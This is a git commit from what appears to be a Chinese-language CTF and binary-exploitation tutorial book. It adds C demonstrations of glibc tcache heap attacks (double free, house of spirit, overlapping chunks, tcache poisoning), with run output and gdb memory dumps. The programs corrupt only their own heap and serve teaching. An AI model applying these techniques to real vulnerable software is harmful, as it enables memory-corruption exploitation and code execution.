finish 4.14_glibc_tcache

This commit is contained in:
firmianay 2018-04-28 17:48:44 +08:00
parent 2640c64ff8
commit 033944eb84
6 changed files with 411 additions and 10 deletions

View File

@ -284,13 +284,13 @@ tcache_get (size_t tc_idx)
int main() { int main() {
void *p1 = malloc(0x10); void *p1 = malloc(0x10);
printf("1st malloc(0x10): %p\n", p1); fprintf(stderr, "1st malloc(0x10): %p\n", p1);
printf("Freeing the first one\n"); fprintf(stderr, "Freeing the first one\n");
free(p1); free(p1);
printf("Freeing the first one again\n"); fprintf(stderr, "Freeing the first one again\n");
free(p1); free(p1);
printf("2nd malloc(0x10): %p\n", malloc(0x10)); fprintf(stderr, "2nd malloc(0x10): %p\n", malloc(0x10));
printf("3rd malloc(0x10): %p\n", malloc(0x10)); fprintf(stderr, "3rd malloc(0x10): %p\n", malloc(0x10));
} }
``` ```
``` ```
@ -346,10 +346,324 @@ gdb-peda$ x/10gx 0x0000555555756000+0x10
于是我们得到了两个指向同一块内存区域的指针。 于是我们得到了两个指向同一块内存区域的指针。
#### tcache_house_of_spirit #### tcache_house_of_spirit
```c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main() {
malloc(1); // init heap
fprintf(stderr, "We will overwrite a pointer to point to a fake 'smallbin' region.\n");
unsigned long long *a, *b;
unsigned long long fake_chunk[64] __attribute__ ((aligned (16)));
fprintf(stderr, "The chunk: %p\n", &fake_chunk[0]);
fake_chunk[1] = 0x110; // the size
memset(fake_chunk+2, 0x41, sizeof(fake_chunk)-0x10);
fprintf(stderr, "Overwritting our pointer with the address of the fake region inside the fake chunk, %p.\n", &fake_chunk[0]);
a = &fake_chunk[2];
fprintf(stderr, "Freeing the overwritten pointer.\n");
free(a);
fprintf(stderr, "Now the next malloc will return the region of our fake chunk at %p, which will be %p!\n", &fake_chunk[0], &fake_chunk[2]);
b = malloc(0x100);
memset(fake_chunk+2, 0x42, sizeof(fake_chunk)-0x10);
fprintf(stderr, "malloc(0x100): %p\n", b);
}
```
```
$ ./tcache_house_of_spirit
We will overwrite a pointer to point to a fake 'smallbin' region.
The chunk: 0x7fffffffdb00
Overwritting our pointer with the address of the fake region inside the fake chunk, 0x7fffffffdb00.
Freeing the overwritten pointer.
Now the next malloc will return the region of our fake chunk at 0x7fffffffdb00, which will be 0x7fffffffdb10!
malloc(0x100): 0x7fffffffdb10
```
tcache 在释放堆块时没有对其前后堆块进行合法性校验只需要本块对齐2*SIZE_SZ就可以将堆块释放到 tcache 中而在申请时tcache 对内部大小合适的堆块也是直接分配的,导致常见的 house_of_spirit 可以延伸到 smallbin而且比以前更加简单。
在栈上构造 fake chunk大小为 smallbin
```
gdb-peda$ x/10gx fake_chunk
0x7fffffffdad0: 0x0000000000000000 0x0000000000000110 <-- fake chunk
0x7fffffffdae0: 0x4141414141414141 0x4141414141414141
0x7fffffffdaf0: 0x4141414141414141 0x4141414141414141
0x7fffffffdb00: 0x4141414141414141 0x4141414141414141
0x7fffffffdb10: 0x4141414141414141 0x4141414141414141
```
free 掉之后,该 fake chunk 被放进 tcache bin
```
gdb-peda$ x/10gx fake_chunk
0x7fffffffdad0: 0x0000000000000000 0x0000000000000110 <-- fake chunk [be freed]
0x7fffffffdae0: 0x0000000000000000 0x4141414141414141
0x7fffffffdaf0: 0x4141414141414141 0x4141414141414141
0x7fffffffdb00: 0x4141414141414141 0x4141414141414141
0x7fffffffdb10: 0x4141414141414141 0x4141414141414141
gdb-peda$ vmmap heap
Start End Perm Name
0x0000555555756000 0x0000555555777000 rw-p [heap]
gdb-peda$ x/30gx 0x0000555555756000+0x10
0x555555756010: 0x0000000000000000 0x0100000000000000 <-- counts
0x555555756020: 0x0000000000000000 0x0000000000000000
0x555555756030: 0x0000000000000000 0x0000000000000000
0x555555756040: 0x0000000000000000 0x0000000000000000
0x555555756050: 0x0000000000000000 0x0000000000000000
0x555555756060: 0x0000000000000000 0x0000000000000000
0x555555756070: 0x0000000000000000 0x0000000000000000
0x555555756080: 0x0000000000000000 0x0000000000000000
0x555555756090: 0x0000000000000000 0x0000000000000000
0x5555557560a0: 0x0000000000000000 0x0000000000000000
0x5555557560b0: 0x0000000000000000 0x0000000000000000
0x5555557560c0: 0x0000000000000000 0x00007fffffffdae0 <-- entries
0x5555557560d0: 0x0000000000000000 0x0000000000000000
0x5555557560e0: 0x0000000000000000 0x0000000000000000
0x5555557560f0: 0x0000000000000000 0x0000000000000000
```
最后 malloc 即可将 fake chunk 取出来:
```
gdb-peda$ p b
$1 = (unsigned long long *) 0x7fffffffdae0
gdb-peda$ p a
$2 = (unsigned long long *) 0x7fffffffdae0
gdb-peda$ x/10gx fake_chunk
0x7fffffffdad0: 0x0000000000000000 0x0000000000000110 <-- new chunk
0x7fffffffdae0: 0x4242424242424242 0x4242424242424242
0x7fffffffdaf0: 0x4242424242424242 0x4242424242424242
0x7fffffffdb00: 0x4242424242424242 0x4242424242424242
0x7fffffffdb10: 0x4242424242424242 0x4242424242424242
```
于是我们就在得到了一个在栈上的 chunk。
#### tcache_overlapping_chunks #### tcache_overlapping_chunks
```c
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
int main() {
intptr_t *p1, *p2, *p3;
p1 = malloc(0x50 - 8);
p2 = malloc(0x20 - 8);
memset(p1, 0x41, 0x50-8);
memset(p2, 0x41, 0x30-8);
fprintf(stderr, "Allocated victim chunk with requested size 0x48: %p\n", p1);
fprintf(stderr, "Allocated sentry element after victim: %p\n", p2);
int evil_chunk_size = 0x110;
int evil_region_size = 0x110 - 8;
fprintf(stderr, "Emulating corruption of the victim's size to 0x110\n");
*(p1-1) = evil_chunk_size;
fprintf(stderr, "Freed victim chunk to put it in a different tcache bin\n");
free(p1);
p3 = malloc(evil_region_size);
memset(p3, 0x42, evil_region_size);
fprintf(stderr, "Requested a chunk of 0x100 bytes\n");
fprintf(stderr, "p3: %p ~ %p\n", p3, (char *)p3+evil_region_size);
fprintf(stderr, "p2: %p ~ %p\n", p2, (char *)p2+0x20-8);
}
```
```
$ ./tcache_overlapping_chunks
Allocated victim chunk with requested size 0x48: 0x555555756260
Allocated sentry element after victim: 0x5555557562b0
Emulating corruption of the victim's size to 0x110
Freed victim chunk to put it in a different tcache bin
Requested a chunk of 0x100 bytes
p3: 0x555555756260 ~ 0x555555756368
p2: 0x5555557562b0 ~ 0x5555557562c8
```
`_int_free()`libc 完全没有对 chunk 进行检查,所以我们可以直接修改其 size在 free 时该 chunk 就被放进了不同的 tcache bin。在下一次 malloc 时得到不一样大小的 chunk造成堆块重叠。
首先我们分配两个 chunk
```
gdb-peda$ x/16gx 0x555555756260-0x10
0x555555756250: 0x0000000000000000 0x0000000000000051 <-- chunk p1
0x555555756260: 0x4141414141414141 0x4141414141414141
0x555555756270: 0x4141414141414141 0x4141414141414141
0x555555756280: 0x4141414141414141 0x4141414141414141
0x555555756290: 0x4141414141414141 0x4141414141414141
0x5555557562a0: 0x4141414141414141 0x0000000000000021 <-- chunk p2
0x5555557562b0: 0x4141414141414141 0x4141414141414141
0x5555557562c0: 0x4141414141414141 0x0000000000000411
```
然后修改第一个的 size 并将其释放:
```
gdb-peda$ x/16gx 0x555555756260-0x10
0x555555756250: 0x0000000000000000 0x0000000000000110 <-- chunk p1 [be freed]
0x555555756260: 0x0000000000000000 0x4141414141414141
0x555555756270: 0x4141414141414141 0x4141414141414141
0x555555756280: 0x4141414141414141 0x4141414141414141
0x555555756290: 0x4141414141414141 0x4141414141414141
0x5555557562a0: 0x4141414141414141 0x0000000000000021 <-- chunk p2
0x5555557562b0: 0x4141414141414141 0x4141414141414141
0x5555557562c0: 0x4141414141414141 0x0000000000000411
gdb-peda$ vmmap heap
Start End Perm Name
0x0000555555756000 0x0000555555777000 rw-p [heap]
gdb-peda$ x/30gx 0x0000555555756000+0x10
0x555555756010: 0x0000000000000000 0x0100000000000000 <-- counts
0x555555756020: 0x0000000000000000 0x0000000000000000
0x555555756030: 0x0000000000000000 0x0000000000000000
0x555555756040: 0x0000000000000000 0x0000000000000000
0x555555756050: 0x0000000000000000 0x0000000000000000
0x555555756060: 0x0000000000000000 0x0000000000000000
0x555555756070: 0x0000000000000000 0x0000000000000000
0x555555756080: 0x0000000000000000 0x0000000000000000
0x555555756090: 0x0000000000000000 0x0000000000000000
0x5555557560a0: 0x0000000000000000 0x0000000000000000
0x5555557560b0: 0x0000000000000000 0x0000000000000000
0x5555557560c0: 0x0000000000000000 0x0000555555756260 <-- entries
0x5555557560d0: 0x0000000000000000 0x0000000000000000
0x5555557560e0: 0x0000000000000000 0x0000000000000000
0x5555557560f0: 0x0000000000000000 0x0000000000000000
```
可以看到 chunk p1 并没有放到它应该去的 tcache bin 中,而是放到了修改 size 后对应的 tcache bin。
最后将其 malloc 出来:
```
gdb-peda$ p p3
$1 = (intptr_t *) 0x555555756260
gdb-peda$ p p2
$2 = (intptr_t *) 0x5555557562b0
gdb-peda$ p p1
$3 = (intptr_t *) 0x555555756260
gdb-peda$ x/36gx 0x555555756260-0x10
0x555555756250: 0x0000000000000000 0x0000000000000110 <-- chunk p3
0x555555756260: 0x4242424242424242 0x4242424242424242
0x555555756270: 0x4242424242424242 0x4242424242424242
0x555555756280: 0x4242424242424242 0x4242424242424242
0x555555756290: 0x4242424242424242 0x4242424242424242
0x5555557562a0: 0x4242424242424242 0x4242424242424242 <-- chunk p2
0x5555557562b0: 0x4242424242424242 0x4242424242424242
0x5555557562c0: 0x4242424242424242 0x4242424242424242
0x5555557562d0: 0x4242424242424242 0x4242424242424242
0x5555557562e0: 0x4242424242424242 0x4242424242424242
0x5555557562f0: 0x4242424242424242 0x4242424242424242
0x555555756300: 0x4242424242424242 0x4242424242424242
0x555555756310: 0x4242424242424242 0x4242424242424242
0x555555756320: 0x4242424242424242 0x4242424242424242
0x555555756330: 0x4242424242424242 0x4242424242424242
0x555555756340: 0x4242424242424242 0x4242424242424242
0x555555756350: 0x4242424242424242 0x4242424242424242
0x555555756360: 0x4242424242424242 0x0000000000000000
```
于是 chunk p2 被 chunk p3 覆盖了。
#### tcache_poisoning #### tcache_poisoning
```c
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
int main() {
intptr_t *p1, *p2, *p3;
size_t target[10];
printf("Our target is a stack region at %p\n", (void *)target);
p1 = malloc(0x30);
memset(p1, 0x41, 0x30+8);
fprintf(stderr, "Allocated victim chunk with requested size 0x30 at %p\n", p1);
fprintf(stderr, "Freed victim chunk to put it in a tcache bin\n");
free(p1);
fprintf(stderr, "Emulating corruption of the next ptr\n");
*p1 = (int64_t)target;
fprintf(stderr, "Now we make two requests for the appropriate size so that malloc returns a chunk overlapping our target\n");
p2 = malloc(0x30);
memset(p2, 0x42, 0x30+8);
p3 = malloc(0x30);
memset(p3, 0x42, 0x30+8);
fprintf(stderr, "The first malloc(0x30) returned %p, the second one: %p\n", p2, p3);
}
```
```
$ ./tcache_poisoning
Our target is a stack region at 0x7fffffffdcc0
Allocated victim chunk with requested size 0x30 at 0x555555756670
Freed victim chunk to put it in a tcache bin
Emulating corruption of the next ptr
Now we make two requests for the appropriate size so that malloc returns a chunk overlapping our target
The first malloc(0x30) returned 0x555555756670, the second one: 0x7fffffffdcc0
```
该实例通过破坏 tcache bin 中 chunk 的 fd 指针,将其指向不同的位置,从而改变 `tcache_entry``next` 指针,在 malloc 时在任意位置得到 chunk。而 `tcache_get()` 函数没有对此做任何的检查。
分配一个 chunk p1 后释放,该 chunk 将被放入相应的 tcache bin其 fd 指针被清空:
```
gdb-peda$ x/10gx (void *)p1-0x10
0x555555756660: 0x0000000000000000 0x0000000000000041 <-- chunk p1 [be freed]
0x555555756670: 0x0000000000000000 0x4141414141414141 <-- fd pointer
0x555555756680: 0x4141414141414141 0x4141414141414141
0x555555756690: 0x4141414141414141 0x4141414141414141
0x5555557566a0: 0x4141414141414141 0x0000000000020961
gdb-peda$ vmmap heap
Start End Perm Name
0x0000555555756000 0x0000555555777000 rw-p [heap]
gdb-peda$ x/12gx 0x0000555555756000+0x10
0x555555756010: 0x0000000000010000 0x0000000000000000 <-- counts
0x555555756020: 0x0000000000000000 0x0000000000000000
0x555555756030: 0x0000000000000000 0x0000000000000000
0x555555756040: 0x0000000000000000 0x0000000000000000
0x555555756050: 0x0000000000000000 0x0000000000000000
0x555555756060: 0x0000555555756670 0x0000000000000000 <-- entries
```
然后修改 fd 指针指向栈上的地址 target
```
gdb-peda$ x/10gx (void *)p1-0x10
0x555555756660: 0x0000000000000000 0x0000000000000041 <-- chunk p1 [be freed]
0x555555756670: 0x00007fffffffdc80 0x4141414141414141 <-- fd pointer
0x555555756680: 0x4141414141414141 0x4141414141414141
0x555555756690: 0x4141414141414141 0x4141414141414141
0x5555557566a0: 0x4141414141414141 0x0000000000020961
```
接下来的第一次 malloc 将 chunk p1 的地方取出:
```
gdb-peda$ x/10gx (void *)p1-0x10
0x555555756660: 0x0000000000000000 0x0000000000000041 <-- chunk p2
0x555555756670: 0x4242424242424242 0x4242424242424242
0x555555756680: 0x4242424242424242 0x4242424242424242
0x555555756690: 0x4242424242424242 0x4242424242424242
0x5555557566a0: 0x4242424242424242 0x0000000000020961
gdb-peda$ x/12gx 0x0000555555756000+0x10
0x555555756010: 0x0000000000000000 0x0000000000000000
0x555555756020: 0x0000000000000000 0x0000000000000000
0x555555756030: 0x0000000000000000 0x0000000000000000
0x555555756040: 0x0000000000000000 0x0000000000000000
0x555555756050: 0x0000000000000000 0x0000000000000000
0x555555756060: 0x00007fffffffdc80 0x0000000000000000 <-- entries
```
可以看到 tcache 的 entries 被修改为我们伪造的 fd 地址。
第二次 malloc虽然 tcache bin 的 counts 为 0但它并没有做检查直接在 entries 指向的地方返回了一个 chunk
```
gdb-peda$ x/10gx (void *)p3-0x10
0x7fffffffdc70: 0x0000555555756670 0x00007fffffffdc80 <-- chunk p3
0x7fffffffdc80: 0x4242424242424242 0x4242424242424242
0x7fffffffdc90: 0x4242424242424242 0x4242424242424242
0x7fffffffdca0: 0x4242424242424242 0x4242424242424242
0x7fffffffdcb0: 0x4242424242424242 0x0000000000000000
```
于是我们得到了一个在栈上的 chunk。exe
有趣的是 tcache bin 的 counts 居然产生了整数溢出(`0x00-1=0xff`
```
gdb-peda$ x/12gx 0x0000555555756000+0x10
0x555555756010: 0x0000000000ff0000 0x0000000000000000
0x555555756020: 0x0000000000000000 0x0000000000000000
0x555555756030: 0x0000000000000000 0x0000000000000000
0x555555756040: 0x0000000000000000 0x0000000000000000
0x555555756050: 0x0000000000000000 0x0000000000000000
0x555555756060: 0x00000000000000c2 0x0000000000000000
```
看来这个机制仍然存在很多的问题啊。
这一节的代码可以在[这里](../src/Others/4.14_glibc_tcache)找到。其他的一些情况可以参考章节 3.3.6。 这一节的代码可以在[这里](../src/Others/4.14_glibc_tcache)找到。其他的一些情况可以参考章节 3.3.6。

View File

@ -0,0 +1,6 @@
PROGRAMS = tcache_poisoning tcache_overlapping_chunks tcache_house_of_spirit tcache_dup
CFLAGS += -Wpedantic -std=gnu11 -g
all: $(PROGRAMS)
clean:
rm -f $(PROGRAMS)

View File

@ -3,11 +3,11 @@
int main() { int main() {
void *p1 = malloc(0x10); void *p1 = malloc(0x10);
printf("1st malloc(0x10): %p\n", p1); fprintf(stderr, "1st malloc(0x10): %p\n", p1);
printf("Freeing the first one\n"); fprintf(stderr, "Freeing the first one\n");
free(p1); free(p1);
printf("Freeing the first one again\n"); fprintf(stderr, "Freeing the first one again\n");
free(p1); free(p1);
printf("2nd malloc(0x10): %p\n", malloc(0x10)); fprintf(stderr, "2nd malloc(0x10): %p\n", malloc(0x10));
printf("3rd malloc(0x10): %p\n", malloc(0x10)); fprintf(stderr, "3rd malloc(0x10): %p\n", malloc(0x10));
} }

View File

@ -0,0 +1,27 @@
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main() {
malloc(1); // init heap
fprintf(stderr, "We will overwrite a pointer to point to a fake 'smallbin' region.\n");
unsigned long long *a, *b;
unsigned long long fake_chunk[64] __attribute__ ((aligned (16)));
fprintf(stderr, "The chunk: %p\n", &fake_chunk[0]);
fake_chunk[1] = 0x110; // the size
memset(fake_chunk+2, 0x41, sizeof(fake_chunk)-0x10);
fprintf(stderr, "Overwritting our pointer with the address of the fake region inside the fake chunk, %p.\n", &fake_chunk[0]);
a = &fake_chunk[2];
fprintf(stderr, "Freeing the overwritten pointer.\n");
free(a);
fprintf(stderr, "Now the next malloc will return the region of our fake chunk at %p, which will be %p!\n", &fake_chunk[0], &fake_chunk[2]);
b = malloc(0x100);
memset(fake_chunk+2, 0x42, sizeof(fake_chunk)-0x10);
fprintf(stderr, "malloc(0x100): %p\n", b);
}

View File

@ -0,0 +1,28 @@
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
int main() {
intptr_t *p1, *p2, *p3;
p1 = malloc(0x50 - 8);
p2 = malloc(0x20 - 8);
memset(p1, 0x41, 0x50-8);
memset(p2, 0x41, 0x30-8);
fprintf(stderr, "Allocated victim chunk with requested size 0x48: %p\n", p1);
fprintf(stderr, "Allocated sentry element after victim: %p\n", p2);
int evil_chunk_size = 0x110;
int evil_region_size = 0x110 - 8;
fprintf(stderr, "Emulating corruption of the victim's size to 0x110\n");
*(p1-1) = evil_chunk_size;
fprintf(stderr, "Freed victim chunk to put it in a different tcache bin\n");
free(p1);
p3 = malloc(evil_region_size);
memset(p3, 0x42, evil_region_size);
fprintf(stderr, "Requested a chunk of 0x100 bytes\n");
fprintf(stderr, "p3: %p ~ %p\n", p3, (char *)p3+evil_region_size);
fprintf(stderr, "p2: %p ~ %p\n", p2, (char *)p2+0x20-8);
}

View File

@ -0,0 +1,26 @@
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
int main() {
intptr_t *p1, *p2, *p3;
size_t target[10];
printf("Our target is a stack region at %p\n", (void *)target);
p1 = malloc(0x30);
memset(p1, 0x41, 0x30+8);
fprintf(stderr, "Allocated victim chunk with requested size 0x30 at %p\n", p1);
fprintf(stderr, "Freed victim chunk to put it in a tcache bin\n");
free(p1);
fprintf(stderr, "Emulating corruption of the next ptr\n");
*p1 = (int64_t)target;
fprintf(stderr, "Now we make two requests for the appropriate size so that malloc returns a chunk overlapping our target\n");
p2 = malloc(0x30);
memset(p2, 0x42, 0x30+8);
p3 = malloc(0x30);
memset(p3, 0x42, 0x30+8);
fprintf(stderr, "The first malloc(0x30) returned %p, the second one: %p\n", p2, p3);
}